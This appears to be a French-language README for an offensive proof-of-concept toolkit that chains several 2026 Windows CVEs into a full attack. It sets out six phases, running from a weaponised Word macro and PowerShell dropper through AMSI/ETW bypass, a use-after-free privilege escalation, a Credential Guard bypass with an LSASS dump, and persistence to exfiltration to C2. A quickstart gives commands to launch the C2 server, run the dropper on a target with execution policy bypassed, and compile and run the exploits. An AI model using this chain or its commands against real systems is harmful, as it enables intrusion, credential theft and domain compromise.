🔄 Flux d'Attaque

1

Initial Access (CVE-2026-20944)

Phishing avec document Word weaponisé → Macro VBA → PowerShell dropper → AMSI/ETW bypass → Beacon C2

2

Reconnaissance (CVE-2026-20805)

DWM API abuse → Kernel address leak → Detection VBS/Credential Guard → EDR enumeration

3

Privilege Escalation (CVE-2026-20822)

Heap grooming (10,000 bitmaps) → UAF trigger → Token stealing shellcode → SYSTEM privileges

4

Defense Bypass (CVE-2026-20876)

VBS status detection → Heap overflow in VTL0 → Escalation VTL2 → Credential Guard bypass → LSASS dump

5

Persistence

Scheduled Tasks → Registry Run keys → WMI Event Subscription → Golden Ticket generation

6

Exfiltration

Document compression → Encrypted upload vers C2 → Lateral movement → Domain compromise

Quickstart - Utilisation du POC

1. Démarrer le serveur C2

cd 02-C2Infrastructure/server/
python3 c2_server.py

[+] C2 Server starting on 0.0.0.0:8080
[+] Waiting for beacons...

2. Exécuter le dropper (sur cible)

powershell.exe -ExecutionPolicy Bypass -File dropper.ps1

[+] AMSI Bypass: SUCCESS
[+] ETW Bypass: SUCCESS
[+] Beacon downloaded successfully

3. Reconnaissance & Exploitation

python dwm_scanner.py          # Phase 2: Info disclosure
gcc uaf_exploit.c -o exploit  # Phase 3: Compile exploit
./exploit.exe                 # Phase 3: Privilege escalation
powershell -File vbs_bypass.ps1   # Phase 4: Defense bypass
